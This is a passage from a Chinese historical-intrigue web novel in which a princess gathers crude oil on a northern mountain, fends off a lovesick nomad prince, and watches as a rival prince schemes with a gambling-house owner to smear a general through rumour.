“怎么吃个饭也不老实。”
明珠一进门，就见桌下他两人脚步攒动，险些要把桌子掀翻。
“殿下！”“殿下。”
几人忙起身，兰萤奔过来，挽起明珠的胳膊，手指着梅辛告状。
“殿下，他踩我新鞋！”兰萤翘起脚尖，撒娇道，“您看，上面的绒花都落灰了！”
明珠揉了揉她的脑袋，笑道，“好了，回去我给你洗，坐下吃饭吧。”
几人落座，梅辛往门口张望。
“殿下，裴参军不一起？”
“他在隔壁，陪着喝酒呢，就不过来了。”
看了眼桌上饭菜，明珠伸手，给竹临夹了块鱼腹，他盘中空空，定然是老实等到现在，也不动筷。
“多谢殿下。”
“我也要！我也要！”
兰萤不服气，张着嘴等投喂。
明珠习以为常，从鱼脸下夹出月牙肉，送进兰萤嘴里。
为着一碗水端平，明珠又给梅辛夹了菜，三人才乖乖埋头吃饭。
“等下吃完，你们先回去，我和裴元有话要说。”
深夜，万籁俱寂。
街巷上偶有打更人路过，锣鼓声回荡，余音绕耳。
夜间烛火朦胧，北境路灯的燃料便是火油，灯罩上熏出一层乌黑。
地上积雪被踩出大小不一的脚印，扎实得像要烙下痕迹，被白框住的街景中，明珠和裴元并肩走着。
手中提着的灯笼，照出黑白间一抹暖色。
“霍丘如何了？”
“烂醉如泥，被将军送回去了。”
明珠无奈一笑，她看向身侧的青年。
“裴元，你今日来找我，是想问镇国公之事如何处理吧。”
年后回归军营，裴元在董向阜麾下做事，却要有所隐瞒，属实有些难为他。
当初，在鬼方大营时，她选择让裴元一同进帐，就是觉得此人内敛，话少拎得清，更适合保守秘密。
“是，殿下先前决定按下不提，卑职自当谨记，遵殿下之命，保守秘密。
“可卑职终究心中难安，将军待我不薄，此事我若隐瞒，实有违将军信任托付，故而……”
今日，眼见霍丘颓然，他未能提前告知真相，亦心有懊悔。
他们是朋友，是战友。
生死与共，却无法全无保留。
“我明白，于公于私，你都该对他坦诚。
“但裴元，这不仅事关董向阜一人，若揭露出真相，届时群情激愤，整个大梁都将躁动不安。
“这个后果，没有人
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担当得起。”
镇国公被齐铭之子暗害，这件爆炸新闻产生的舆论效应，难以预料。
现如今，京中又有了齐铭将军牌位被盗之事，齐家在世人眼中，早已占据了受害者的位置。
纵使镇国公支持者，会以为齐侯罪孽滔天，弃北境安危于不顾，联合外族残害同胞，十恶不赦。
可齐侯，乃至齐铭将军的支持者，会以为是镇国公行悖逆之事，筹谋叛乱，被齐侯暗地处置，以平内乱，保边境安宁。
而阴谋论者，又会认为是北境拥兵自重，引得皇帝忌惮其势力，安排齐宗毒害董齐川，一代英豪陨落于帝王猜忌。
太多人远离真相，一心相信自己的判断。
从荣嫂口中了解到的北境，对董齐川的评价本就褒贬不一。
董齐川作为董季昌老将军的儿子、齐铭的徒弟，北境的继任者，无论是北境百姓、战士，还是整个大梁，对他可谓是万众期待。
但同样，也是枷锁。
齐铭的不败战绩，注定了其他军侯要被拉踩。
天才带来的人间爆点，在其陨落后，引发了流量反噬。
胜败乃兵家常事，但齐铭的存在，让胜利变成常识，董齐川作为继任统帅，身上背负的不仅是边境的安危，还有胜利的延续。
从失败当中总结经验，去获得下一次的成功，是再正常不过的成长轨迹。
但对于齐铭之后的时代，百姓们变得异常浮躁，对于求胜有了一种习以为常的认同，而不再去认同失败。
这种习以为常，本身就是一件不寻常的事情，是由一个更不寻常之人带来的错觉。
北境在齐铭的统帅下，盛行个人英雄主义，对战事的狂热达到了顶峰，人人期待战时，他们看不起董齐川的求稳，更认为他的败绩是无能。
当董齐川无法带领他们打胜仗时，人们的怨怼会更深，狐假虎威惯了，便误以为自己强悍。
败了，人们就会唱衰他。
就像家里的第一个孩子，是个异于常人的天才，大家会理所当然认为第二个孩子也会如此，甚至寄予厚望。
但其实，普通才是大众的常态。
董齐川本身并非庸才，他只是需要时间，去适应那个没有齐铭的战场。
可惜，他没有时间，为自己正名了。
连齐二那样的渣滓，还会有人为他没有继承齐铭将军衣钵统帅北境，而感到惋惜，那么董齐川之死将要引发的争议，或许会比想象中还要严重。
“裴元，我担心的是，届时董向阜面对的，会比现在更艰难。”
112.插播一条寻人启事
新春的氛围淡去，爆竹残片扫聚成堆，和雪一起埋在街巷。
沿着石板路向北，军营中，铁甲寒光依旧。
“殿下，打算启程去雁岭山了吗？”
董向阜走过来，见她一袭利落裤装，身后，竹临他们正往板车上搬着瓦罐。
“嗯，今天去采样。”
“那让霍丘和裴元跟着殿下。”
“不麻烦将军这边。”明珠得意道，“我有人手。”
不多时，镖队几人列成队。
明珠从马车上探出头，一一扫过，各个挺直着脊梁，神情忐忑。
“行了，你们几个，今日跟着我去开工。”
“遵命！”
车轮驶过沙漠、戈壁滩涂，在矮草处停驻，马儿在月湖畅快饮水。
远处，有个人影格外眼熟。
“明珠！”
人影从远处奔来。
“翟聿王子？”明珠诧异道。
他居然留在驻地，没跟着戎狄王帐西迁？
翟聿见来人真的是她，喜上眉梢，摇着尾巴跑过来，却被两个少年拦在半路。
明珠目光警惕，质问道，“王子前来，所为何事？”
对方面色不善，翟聿一时间不知该如何开口。
“我，你不想见到我吗……”
“啊，抱歉。”
明珠如梦初醒，意识到自己的态度过于严肃，又换上笑颜，让那两人给他放行。
“我就是没想到能在这儿遇见你，我还以为你会和你哥一起呢。”
“我……”翟聿攥着胸前的狼牙，扭捏道，“我偷跑回来的。”
“偷跑？”明珠愕然，问道，“你哥不知道你回来啊？”
那她是不是该给他家长打个电话，或者，到走失儿童招领处挂个号？
“他不知道，没事，他不担心我。”
“这都不担心，乖乖，那你吃什么喝什么啊？”
“乖——？！”
翟聿满脸通红，羞愤地瞟向明珠。
“……”
明珠扶额，有口难言。
方才一时情急，她的口癖没来得及改。
翟聿红着脸埋起头，取下身后的挎包，将里面的东西一股脑倒出来给她看。
“我吃肉干、吃沙果，还有这个！”翟聿从口袋里掏出，慌里慌张递到明珠面前，“讷日苏，明珠你尝尝，很甜的！”
蓝色颗粒在宽大的掌心滚动，显得小而圆润。
明珠定睛一瞧，恍然道，“是蓝莓啊。”
她拿起一颗，丢进嘴里，果浆汁水在口腔迸发。
令人熟悉的甜香，引得一阵酸楚，回忆伴随着味道涌入脑海。
以前，她很喜欢吃蓝莓。
明珠抬眸看向翟聿，嗓音略带沙哑，“谢谢。”
“你要是喜欢，这些都给你！”
说着，翟聿又翻了翻口袋，把角落零星的几颗都搜刮出来。
“不用了，”明珠拦住他，说道，“不用了。”
翟聿被抓着手腕，一动不敢动。
“……为什么，你不喜欢吗？”
“不，只是它的味道，会让我想起以前的生活，浅尝辄止，才不会过于伤怀。”
“我听不明白。”
看着翟聿疑惑的神情，明珠笑了。
“它味道很好，可总一天会吃完，我怕到时候会伤心。”
“噢……”翟聿若有所思道，“那我也是，每次吃剩下几颗，我都不舍得。”
明珠一边笑着，一边眺望着山脚。
雁岭山下，兰萤正指挥那群人动工，几人从板车上卸下瓦罐，用绳结绑在背后，一切准备就绪，众人正站在原地等她。
她收回视线。
今日正事在身，不宜被翟聿绊住。
“王子，我这边还有些事，就先不奉陪了。”
“我，”翟聿欲言又止，“我能跟着你吗？”
“？”明珠打量起他，狐疑道，“你偷跑出来，到底是因为什么？”
面对她的发问，翟聿垂下眼眸，看上去像只蔫着耳朵的大狗，可怜巴巴。
“我想见你，我在这里等了你很多天。”
“……”
明珠苦笑了两下，长叹一口气。
自己造的孽，自己还吧。
“梅辛、竹临。”
“殿下。”两人齐声应道。
戎狄和谈时，她没有带上这两人，他们和翟聿彼此并不熟悉，不过毕竟同龄的男孩子，应该能玩的开。
“这位是戎狄的翟聿王子，他们两个是我家小弟，看见那边了吗？”明珠随手指着一处草坡，敷衍道，“你们一块儿去玩吧，等我忙完来接你们。”
“？”“？”
被叫过来的梅
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辛和竹临一头雾水。
还是梅辛率先反应过来，应承道，“好啊，那殿下，我们几个就去那边玩了！”
翟聿皱起眉头，问道，“明珠你去哪儿啊？”
“我让人去取些雪水，回去烹茶。”明珠胡诌了个借口，又对三人叮嘱道，“别跑远了，注意安全。”
说罢，她就赶紧脱身，往山脚下去。
“走吧，王子！”梅辛热情道。
翟聿一步三回头，恋恋不舍。
“殿下一会儿就来找我们的，”梅辛揽过翟聿的肩膀，指着远处的花丛，“欸，那有花，咱们给她编个花环吧。”
“好啊！可，我不会编……”
“没事，我也不会。”梅辛爽朗道。
“好——”翟聿咂摸出不对劲，“嗯？你不会还说？”
山脚下。
“殿下，那是戎狄王子吗？”
兰萤老早就注意到黏在殿下身边那人，碍于正事，又因为竹临和梅辛都在，她便强忍着跑过去的冲动。
“嗯，麻烦了。”
“殿下要提防此人，他若是前来刺探情报，就对您不利了。”
“兰萤说的有道理。”
她虽不信凭翟聿的行事作风，能做刺探情报的复杂差事，但防人之心不可无，若是被他知晓谋划，也未见得不会另作他想。
上山的路并不算陡峭，不过终究是无人之境，荆棘丛生，乱石嶙峋。
刘聪排在队首，一边向上攀登，一边斩断周遭的荆棘杂草，动作娴熟，遇到乱石堆，便取出腰间的镐子敲出平整，将尖石丢开，给后面的人开路。
“很专业嘛。”明珠不由称赞道。
刘聪回头，嘿嘿一笑。
“小的以前当过山贼。”
“？”
“从良了！”刘聪急辩解道，“这不是从良了嘛，小人已然改过自新，对曾经痛心疾首！”
“行了行了，开路吧。”
山的高度极佳，还未等疲累，就到了顶。
“怎么有股怪味儿？”
“臭烘烘的。”
“这是啥石头，怎么黑黢黢的。”
几人七嘴八舌地说着，唯有明珠一言不发，她蹲在地上，用手帕擦了擦脚下的黑石，滑腻粘稠的液体浸在手帕上，散发着特殊气味。
绵延在山涧的细黑水流，就是她要找的无价宝藏。
113.奇珍异兽收容所
在古代，人们对石油的开采主要是依靠自然溢出现象，采用简单的工具，如用野鸡尾蘸取浮于水面的原油，采集到容器中。
“千万小心，不要有明火。”
裸露的岩石耸立在山头，红绿相间，有些薄层页岩中夹杂着黄色淤泥，约莫是地壳运动留下的分明层次，埋藏其中的原油也因此显现痕迹。
原油有深浅及品质的不同。
《自流井风物名实说》中，曾谈到油浅者五六十丈，深者则从百余丈到二百六七十丈不等，且多者推出皆属净油，少者油水相搀，油浮水面。
明珠让他们分布到不同位置取油，的确发现其中质量的参差。
瓦罐被尽数盛满，封装好后，几人陆续下山。
“回去之后，身上和衣服上沾的黑油，可试试用草木灰洗。”明珠嘱咐道。
染上这类污渍宜用纯碱洗涤，而古代的纯碱，大部分是草木灰烧成的碳酸钾。
“长公主殿下，这装的到底是什么玩意啊，还得您亲自来？”
“你们听说过‘火油’吗？”明珠问道。
几人懵懂对视，唯有王藏心绪微动，不由自主放缓脚步。
“您说，这就是‘火油’？”
“噢？”明珠扭头，问道，“王镖头知道？”
“回殿下，小人从前在大理寺当差，监牢燃灯多用火油，这东西比蜡省得多，就是烟太重，味道也不好闻。”王藏看向涌动的黑油，说道，“没成想，这东西居然是从石头缝里流出来的，当真是奇物。”
“王镖头还在大理寺当过差啊。”
难怪他对待自己礼数周全，不像是一般的平民百姓。
“是，做过捕快。”
王藏面无波澜，明珠暗自思忖起来。
按理说官差这个铁饭碗，不会轻易辞去，王藏却又做起了押运的镖头，虽说同兴镖局也称得上大行当，但到底民营不比官办。
王藏此人，身上的故事想必不少。
山脚下，为避开翟聿，明珠让兰萤带人先行离开。
寻着那三人的踪迹，在一处花丛中，三人正埋着头，聚精会神。
翟聿听到脚步声，立马回头。
“明珠！”
“你们在干什么？”
“我们……”翟聿藏起手中光秃秃的花环，支支吾吾道。
他手笨，把草茎强行编在一起时，上面的花都不堪重负地脱落，花环变成了草环。
“回殿下，我们编花环呢。”梅辛晃着手里的花环。
看梅辛编的比自己好多了，翟聿郁闷道，“你不是说你不会吗！”
“我是第一次编啊，王子，我可没骗你。”
说着，梅辛上前，把花环轻放在明珠头上，“好看！”
“给我的？”明珠笑着，给它摆弄好位置，“谢谢梅辛。”
另一边，竹临也走上前，把一个小口袋送给明珠。
“这是什么？”
“属下不会编花环，便去采了些果子。”
明珠打开口袋，里面装着一颗颗蓝莓。
她微微诧异，抬头看向竹临，却见他神情真挚，想必是听到了自己和翟聿的对话。
“谢谢。”
明珠伸手，揉了揉竹临的脑袋。
竹临垂眸，耳根微红，他虽不知殿下为何不要翟聿王子的果子，但他看得出来，殿下喜欢这个。
人群后，翟聿看着眼前一幕，攥紧手里的破烂草环，鼻子不由发酸。
“欸？！怎么哭了？”
明珠注意到缩在后面的翟聿，正啪嗒啪嗒掉着眼泪，忙掏出手帕递给他。
“……我没哭。”翟聿偏过脑袋，用袖子猛擦。
明珠这才发现他手中攥着的草环，看上去……很是结实。
“这是送我的吗？”
“嗯……”
“那给我带上吧。”
见他不动，明珠从他手里抽出来，主动戴到自己头上，“好看吗？”
翟聿别扭道，“你好看，这个不好看。”
“哈哈哈，”明珠刮了下他的下巴，笑道，“好了，不哭。”
眺望山脚，运送原油的队伍已经走远。
草原上，扬起喧嚣的风，犹如置身绿色浪潮，明珠不由抬起手，捂住头上的草环，避免被风带走，耳边一阵发痒。
明珠回头，原来
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是翟聿的手。
抚上耳边，一朵花被别在耳后，面前的翟聿重扬起笑容。
“我们该回去了。”
明珠看向翟聿，见对方小心翼翼地看着自己，无奈道，“你也先跟我回去吧。”
北境，军营内。
董向阜打量了一眼帐外徘徊的翟聿，又将视线移向明珠。
“殿下还真是——喜欢豢养奇珍异兽。”
“少打趣我，”明珠双手抱臂，苦恼道，“你有办法联系上他家里人吗？”
“有。”
北境统领与戎狄王之间的关系，可称的上针锋相对，又可称得上紧密相连。
即便是水火不容的战时，双方特派的信使也不会被阻拦，而会由各自信赖的亲信接手，转达消息。
“不过，戎狄那边不一定会管他。”
和谈刚过，再起事端多有不便，翟聿作为戎狄的王子，纵然他身在北境，也不会有人敢对他不利。
一来，名不正言不顺，大国之间的纷争需要正当性，来维护外交威仪，这也就是为何长公主当初要设计陷害翟渠，以获得发兵借口。
二来，大梁的目的已经达到，战事的损耗过大，没有必要横生枝节，翟聿出现在大梁境内，大梁反而要确保他的安全无虞，完全就是块烫手山芋。
“像他这么大的男丁，在戎狄，几乎就是放养的状态，等他玩够了，自然就会回去。”
戎狄的传统观念中，克服险境，驾驭危机，才是强者的生存之道。
干涉过多，只会让他们成为怯懦无能，遇事慌不择路的软蛋。
“我想，纵使他追求你，戎狄王也只会一笑了之。”
“……”
她十分怀疑，董向阜是故意这么说的。
可翟聿是因为自己才跑出来的，她不能不管他。
“你给戎狄那边去报信吧，让翟渠把他弟弟领走。”明珠想了想，补充道，“跟翟渠说，他要是不管，我就把他弟弟带回京，不还给他了。”
董向阜轻笑，“好。”
明珠看向帐外的人影，叹了口气，“军营里不方便，我给他找个地方暂时住下，等那边派人接走他。”
114.听得耳朵起茧子
齐侯府中，惴惴之气未消，来往的丫鬟小厮，连个高声说话的都没有。
看面相，齐二现如今平和不少，脸上的横肉消瘦，脸皮耷拉在两颊，埋着层层愁思，再不似从前那般盛气凌人。
过去，京中人人都道他是世家出身的匹夫，齐家乱咬的疯狗。
此事一出，众人震惊之余，也不少人拍手称快，为三王站队。齐家人为免齐侯心烦，关了大门谢客，下人们更是把脑袋别在裤腰带上伺候。
一连几日，除了李凌霄带着各项进补药品，陪侍在侧，齐侯府再无外客。
“殿下，不必日日陪在我身边，这副身子，再怎么喝也无用……”
“舅舅别说丧气话，宫里母妃惦念着您。”李凌霄从怀中取出一封信，递给齐侯，“这是母妃写给您的信。”
齐二目光柔和，苍白的脸上难得显露出笑意。
“这都第几封了，看来我不回信，惠妃娘娘是不肯罢休了。”
“您无虞，母妃才安心。”
“是啊，婉儿她，不，惠妃娘娘她一向记挂着我们这些做兄长的，倒是我们，不争气，总让她操心。”
病弱垂危之际，齐二总能想起过去，想起大哥，想起曾有父兄庇护，过得潇洒快活的日子。
太学的课枯燥，在那待上一刻，浑身都沾上迂腐的学究气，那个时候，大哥和董家的董齐川一起，捎带着他，几人翻墙偷溜出去。
他们身边总跟着一个漂亮姐姐，大哥说，那是安乐郡主——李宁嫣。
有一次，三皇子李晟胡闹，把郡主头发剪掉了一截，惹得郡主哭了好几日。
大哥带着他们在乐坊逮到李晟，上前一把擒住他，按在地上左右开弓，揍得他几天没敢出门。
先皇听说后，把几人私下叫去，询问打人的原因。
那可是当朝陛下，年少的他吓得魂飞魄散，呆在原地，一动也不敢动。
齐宇走上前，坦然道，“是我动的手，与他们无关。”
“那你为何要这么做？”
“打了就打了，陛下要罚，我认。
“只是下次，他若还敢欺负人，我便见他一次打他一次。”
陛下乐得大笑，说虎父无犬子，让他们回去。
后来，大哥跟着父亲去了北境，一半时间在京，一半时间在北境，每次大哥回来，都是他最开心的时候。
再后来，大哥在湖中溺毙。
一贯柔弱的母亲，态度却异常强硬，说什么也不同意他再去北境，父亲也无可奈何。
没过几年，父亲在北境病逝。
侯府里的白布，送走了一个又一个人，偌大的府邸像被抽空了支柱，岌岌可危。
他却只能眼睁睁看着，无能为力。
“你母妃，为了齐家吃了不少苦，她原本该做皇后的。
“若非当年你外祖亡故，齐家没有依仗，陛下又一意孤行，娶了许家的孤女，她才不得以做了妾妃，居于人下。
“我知道，她心中不甘，她是齐家唯一的女儿啊，本该是这京中最尊贵的女子。”
他身为齐家的当家人，冠以齐侯之名，却就像李凌月当初挖苦他的那样，令齐家蒙羞。
深受齐铭威名所累的军侯，早就不满齐家已久，对齐二的废柴更是喜闻乐见，便促使他养成了见谁咬谁的习惯。
为重振家风，齐二也曾求了陛下，到北境带兵，可父亲的那些旧部不听他的调遣，都以董齐川马首是瞻，他看在眼里，心中怒火犹旺。
这些原本都该属于大哥，董齐川抢了大哥的功劳，抢了大哥的姻缘，更抢走了属于大哥的人生。
若大哥还在……
至少，齐家不会是现在这个样子。
他开始任人唯亲，将身边奉承顺从之人推上位，那些在京旧部也被尽数打压，遣送回北境。
可当今陛下重董家、轻齐家，齐家气数将尽，所有人心知肚明。
二皇子的出生，让齐家看见了新的希望。
“还好，许今欢只生下个不顶用的女儿便死了，而你，殿下，你是惠妃娘娘和齐家的指望啊！”
闻言，李凌霄笑意冷淡。
他并非不愿顾念亲情，只是他们仅凭施舍的一点真情，就要让自己为他们担待谋害镇国公这等祸事，那他未免太得不偿失。
长姐说的不错，坐享其成的事，齐家那群酒囊饭袋受用已久，早就忘了为人所用，先要有用。
齐二不觉有异，继续语重心长道，“你如今和李凌月走得近，但一定要多留个心眼儿，防着她，我总觉得那丫头和以前不一样了。”
他这个
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废物舅舅，倒还不至于太蠢。
对待长姐的这件事上，比三王还通透些。
“是，外甥谨记于心。”
房外传来小厮禀报，说大夫人有请二皇子殿下。
“舅母找我？”
齐二心领神会，放下手中的汤药。
“想来是为了你的婚事，你如今也不小了，是时候在京城的闺秀中为你择一门好亲事，想必你母亲也会赞同。”
李凌霄下意识皱眉，注意到齐侯的视线，又化作笑容。
“可外甥还要返回北境，这一去不知要多久回来，岂非辜负舅母一片苦心。”
眼见齐侯废了，齐家便迫不及待要给他后院塞人，以求得靠山安稳。
这点小心思，过于露骨。
“霄啊，舅舅还要劝你一句，你是咱们齐家唯一的指望，做事要懂得权衡利弊，切不可对无用之人太上心，那李凌月再得势，最后终究要嫁出去的。
“我瞧着，无非就是董家那小子，就算笼络她一时，她到最后不还是要听夫家的话。
“虽说齐董两家多年不来往，但到底是世交，你和董向阜又是同辈，多亲近亲近没坏处。”
李凌霄故作恭顺道，“……是。”
见他应承，齐二这才舒心。
临走前，李凌霄问道，“对了，舅舅，您认识九方赌馆的松芜松掌柜吗？”
“谁，松掌柜？”
齐二疑惑，这个名字他倒是头一回听说。
“不认识，赌馆多是三王的买卖，我素日不乐意去，要打听此人，你三舅舅或许知道。”
“是，那舅舅安心休养，外甥先告退了。”
待人离开，齐二躺回床上。
他瞪着双眼，仿佛被抽干了气力，眼底未有一丝鲜活。
窗外，传来几声笑，声音不大，齐二却觉得格外刺耳。
“外面是谁在笑？”
管家警觉，立马走到窗户口往外探看。
“回侯爷，是九姨娘和丫鬟，应是姨娘家中来信了。”
齐二记得九姨娘娘家离京远，一年才能收到一封家书，想来是年关刚过，娘家来信嘘寒问暖。
是啊，是该高兴。
“拖下去，乱棍打死。”
齐二瘫在床上，笑脸狰狞。
115.这把相亲局
前院的花厅不同其他，因齐侯抱病，侯府上下未有一丝喜色，烟花爆竹更是严禁，唯有花厅前挂着几个红灯笼，也算沾沾年味。
连廊上弥漫着脂粉气，李凌霄眉头不易察觉地皱起。
步入厅堂，主位的舅母起身，为着女儿的婚事，前些时日哭成泪人的她，也打起精神笑脸相迎。
“这几日殿下为侯爷操劳，真是辛苦了，慧雯、念雪，还不谢过你们表哥。”
眼前两位齐家表妹，亭亭玉立。
他们儿时曾有过几面之缘，当时，她们两个都还只是互扯头花、哭哭啼啼的小丫头。
一个是舅母的嫡亲女儿，一个是三姨娘的庶出女儿，一个尊贵，一个得宠。
想必那两位长辈争执不休，索性一起塞给他。
“表哥辛苦，小女在此谢过。”
两人含羞行礼，目光不由被李凌霄吸引。
一大早她们就起来梳洗打扮，虽说家里提过入选已是板上钉钉的事，两个小姑娘还是忍不住忐忑，京中谁人不知，宫里惠妃娘娘膝下的这位二皇子，可是数一数二的俊俏人物。
齐家近水楼台先得月，惹得多少名门闺秀眼热。
“舅母和表妹们客气，霄身为晚辈，也是应尽之责。”
寒暄不多时，舅母说起两位表妹新学了围棋，叫他们切磋对弈一番，李凌霄面上客气应下。
说是对弈，却见她们一会儿勾发撩拨，一会儿娇嗔犯难。
对局不过半，他摩擦着手中的棋子，思绪飘远。
她不像她们。
她们的头发涂满桂花油，服帖地包裹着发髻，不用凑近，就能闻到浓郁香气。而她的头发总是带着点毛躁，却又蓬松柔软。
她们面上敷粉，胭脂点唇，画着京中最时兴的妆面。而她习惯素面朝天，对她而言，描眉和点胭脂已是齐全，她并非十足美貌，可她站在那里，就让人移不开视线。
她们举止优雅、世俗。而她大大咧咧，无拘无束，总是懒散地躺在她那张躺椅上，心情好的时候，会给他也挪个地方坐。
“表哥在笑什么？”
李凌霄回过神，两位表妹正好奇地盯着自己。
“二位表妹棋艺出众，我甘拜下风。”
——无聊，他想。
这时，随从在外匆匆赶来。
“殿下，惠妃娘娘传召您。”
“是嘛，”李凌霄痛快撂下棋子，起身对两位表妹行礼，“母妃传召，就不便奉陪二位表妹了，有劳向舅母转达，改日再行切磋。”
两人哪敢有二话，急忙回礼送客。
侯府外，李凌霄乘上马车，面无波澜。
“殿下不喜欢两位小姐吗？”
“与心意无关，无论如何，我都要娶她们。”
母妃和齐家一定会让他娶齐侯嫡女为正室，庶女留作侧室，无论他喜欢与否，都无关紧要。
对于皇室子弟而言，妻妾，不过是人脉的连结，其中或许会有一两个中意的，至于其他人，摆着也是摆着，于他又没有妨碍。
“那您为何又叫小人寻机，为您找借口脱身？”
“陪她们周旋，是另一回事。”
“那您接下来，是回宫还是？”
李凌霄斟酌片刻，“去九方赌馆。”
九方赌馆外，刚一得到信儿，松芜就亲自前来相迎。
“殿下今日怎么有雅兴，到松某这儿来？”
“早就听闻九方赌馆尽是些新奇玩意，今日一见，果然名不虚传。”
松芜笑了笑，躬身道，“殿下，里面请。”
茶室中，松芜和李凌霄相对而坐。
李凌霄开门见山，“今日来，是想请松掌柜替我办件事。”
“您说的哪里的话，为殿下办事，小人荣幸之至，不知殿下有什么差事交代？”
“听说，三王叔那边被齐家折磨有段时日了，急于寻一替罪羊，他手底下那位大理寺少卿固执，若一意孤行追查下去，想必对松掌柜也不利吧。”
三王近日的窘境，李凌霄亦有所耳闻，虽说陛下发话，此事明面上不了了之，可私底下齐家人三番两次上门骚扰，纵使三王闭门不出，这外面的事也不会消停。
“殿下说的极是。”
曲昶为人
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倒比想象中正直，并没有听从三王无端攀咬，反而一直死咬着陈一言这条线索，只是碍于陈驷隐匿身份多年，行事低调，像曲昶这样的毛头小子，压根抓不住他的尾巴。
“其实松掌柜也不必担心，下人终究是下人，三王既然有意，认为此事是董向阜所为，松掌柜何不顺水推舟。”
“噢？”松芜意味深长道，“殿下的意思是，把盗损灵位、栽赃三王之事，让董将军吃下。”
此举并非意料之外，尤其在二皇子得知镇国公之死与齐二有关后，他必得未雨绸缪。
一边是镇守北境、深得皇帝信赖的前锋将军，另一边是血脉相连、承袭齐铭将军之位的侯府至亲。
瘦死的骆驼比马大，割舍掉齐家，便是大义灭亲，置齐铭后人于不顾，不仅宫里惠妃不会坐视不管，在外也难免被世人诟病，人走茶凉的薄情寡义。
可若是保下齐家，于董向阜而言，杀父之仇，难以化解，即便将来二皇子继位，有齐侯横在中间，难保董向阜不会心生怨怼。
因此，二皇子借势抹黑董向阜，无外乎为着两点。
要么是打算趁人之危，借机拉拢，好博些情面；
要么，就是提前将董齐两家的水搅浑，倘若将来一招不慎，镇国公之死事发，便可将今朝之事翻回明面，说董家对齐家早有龃龉，曾有过取而代之的不敬之心，那么齐二对镇国公的谋害，也可算得上是为父报仇。
届时，二皇子可看着风向，再行立场。
阴险，当真是阴险。
如松芜这般脏心烂肠之人，也不免感叹。
“可有一点，董将军与三王素无瓜葛，井水不犯河水，此事若说是他所为，会不会有些牵强。”
李凌霄微微一笑，“松掌柜别忘了，还有长公主。”
松芜一怔，面上笑意渐凉。
“殿下，这是何意？”
“京中人人皆知，董向阜对长公主心有垂青，三王又与长公主素来不睦，连他自己都能想到，那咱们便顺王叔心意，坐实此事。”
松芜敛下神色，摆出一副恭顺姿态。
“殿下英明。”
116.乌合之众
几日功夫，京中传出风声。
京中女眷闺秀大多认为传言不真，可往往这些呼声越高，就越会有眼红之人跳脚，仗着董向阜不在京中，人们议论不断。
“你们这些小女子懂什么，他董向阜心里揣着什么心思，难不成还会说出来吗？”
“平日里你们就爱吹捧他，说什么正人君子、盖世英雄，我瞧就是装的。”
“装也不装全，自命不凡过了头，现如今，还不是上赶着当驸马爷。”
流言纷纷，甚嚣尘上。
醉仙楼中，菊若正盘算着年节前后的收支，酒楼的生意红火，外送居多，前前后后招了十几个短工，这会儿正和账房结着工钱。
门外，款款走来一位大丫鬟，径直走向菊若。
“掌柜的，我家郡主有请。”
来人正是三王府中，郡主的贴身大丫鬟香菱。
菊若了然，吩咐后厨备菜。
“金丝燕窝、琥珀蜜枣糕，还有天香瑶柱盅，再来一份玲珑果盘，菜式就按素日里郡主的口味做就行。”
“掌柜的，蔡师傅说蜜瓜用完了，给郡主换个什么果子啊？”
“我去看看还有什么。”
从后厨回来，菊若见还有两个短工没走。
“先等等，你们俩个跟着我，把菜送到三王府，回来一并结了，今日这趟一人再多给一两赏钱。”
“好嘞好嘞！”那两人欢喜应道。
夜幕下，冷风习习。
王府的马车在醉仙楼外等候，沐浴更衣后的菊若踏上王府马车。两个短工也乘着酒楼的马车，紧随其后。
后面的马车上，两个短工端着食盒，其中一人忍不住开口。
“辛子，你别说，跟着你还真是走运，你咋知道掌柜这会儿还用人啊？”
“我上哪儿知道，我就是听见掌柜报的菜，她一人又拿不了，这差事横竖是王府的人和酒楼的人干，咱俩最后走，万一碰上了，也多挣点不是么？”
“还是你有眼力见儿！”那人直挑大拇哥，笑道，“咱哥俩也算是借了这几道菜的光了，还能坐回马车嘿。”
那人往外探头，前面王府的马车比酒楼的大不少，瞧着就气派。
他缩回脑袋，小声道，“这王府的排场就是大，还得掌柜的亲自送，还得换了衣服、捯饬干净送，这什么章程？”
“规矩大吧，这掌柜的也是个人物，年纪轻轻，看着像个未出阁的姑娘，王府的马车说坐就坐。”
马车停在三王府后院门外，菊若下了车，让酒楼的人把菜交给丫鬟，吩咐他们在门房等着。
去后宅的路上，大丫鬟香菱凑近一步。
“掌柜的，郡主恐怕没心思吃了，着急见您呢。”
“我知道了。”菊若点头，心中盘算。
丫鬟们端着菜离开，菊若轻车熟路进了闺房。
一进门，就听见对方嗔怪。
“你怎么才来！”
菊若阖上门，转过身来，见郡主已经走到跟前，她便顺势牵起对方的手，柔声安抚着。
“给郡主带了您素日爱吃的，听香菱说您没胃口，好叫我担心。”
郡主撇起嘴，委屈道，“阿莲……”
床榻边，两人并排坐着。
“这些时日见不着你，父亲那里又出了事，叫我别出门，我连个能说话的人都没有。”
菊若掏出手帕，轻擦对方脸上的泪痕。
“我听说了，还是因为那件事吗？”
“嗯，你不知道，后来齐家来了人，不仅打了我父亲，还整体守在王府门口撕闹，这几日听说砸了不少店铺，父亲很是恼怒。
“虽说陛下不再追究，可侯府那边齐侯重伤，齐家哪里肯罢休。”
菊若故作愧疚，“都怪我，若不是我当日提议去僻静处，也不会牵扯出这些事端。”
“怎么能怪你呢，”郡主忙摇头，说道，“这件事分明是被有心人栽赃，现如今，京中都在传，此事是董向阜所为。”
这几日，醉仙楼中也有不少食客议论此事，京中亲贵大臣多数还是相信董向阜为人，以为此事捕风捉影，没有真凭实据。
不过，仍有不少宵小之辈，以己度人，念叨着无风不起浪。
其中，叫得最厉害的还是三王府的人。
齐家人信不信的搁在一边，横竖王
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府的人传的有鼻子有眼，尤其是董齐两家的世代纠葛，本就因镇国公与齐侯不睦，牵扯出不少陈年往事。
——齐家长子之死，镇国公横刀夺爱，强娶安乐郡主。
——董齐两家争权，齐二在北境闹得不可开交，气得镇国公急火攻心，才暴毙身亡。
——打了和戎狄的胜仗，董向阜年少轻狂，心高气傲，对齐铭老将军毫无敬畏之心，恨不得取而代之，做下一任名垂青史的大将军。
纵使人们不全信，可这等八卦，闲扯时也爱提一两嘴，说的人多了，编得越来越全乎，这事仿佛就真了几分。
可菊若心中明镜一般，此事定然与松芜脱不了干系。
先不提什么阴谋阳谋，单就是把董向阜的名声搞臭，松芜也必要尽心尽力去办，否则，如何对得起他那芝麻大小的心眼儿。
“郡主也觉得，是董向阜将军所为吗？”
郡主眉头紧皱，郁闷道，“眼下是不是他都无妨，只要齐家不再来纠缠王府就万事大吉了。”
闻言，菊若眉眼含笑。
“没错。”
